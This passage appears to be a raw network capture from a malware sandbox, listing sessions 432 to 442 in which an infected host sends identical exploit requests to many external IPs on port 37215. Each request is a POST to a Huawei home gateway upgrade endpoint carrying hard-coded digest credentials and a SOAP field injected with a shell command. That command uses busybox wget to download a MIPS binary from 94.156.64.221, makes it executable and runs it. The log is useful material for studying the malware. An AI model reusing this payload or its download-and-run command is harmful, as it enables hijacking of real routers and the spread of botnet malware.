2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
432	192.168.2.23	52304	41.136.68.81	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.263107061 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
433	192.168.2.23	42834	156.27.95.98	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.263159037 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
434	192.168.2.23	50546	156.58.71.89	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.263202906 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
435	192.168.2.23	60588	156.181.139.113	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.263325930 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
436	192.168.2.23	45096	156.11.8.51	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.263359070 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
437	192.168.2.23	44642	156.23.230.69	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.263437033 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
438	192.168.2.23	55144	41.0.162.73	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.263478994 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
439	192.168.2.23	34470	156.51.243.47	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.263544083 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
440	192.168.2.23	37740	156.108.129.83	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.263597012 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
441	192.168.2.23	54962	41.163.26.210	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.263650894 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
442	192.168.2.23	57294	41.24.234.239	37215

Timestamp	Bytes transferred	Direction	Data
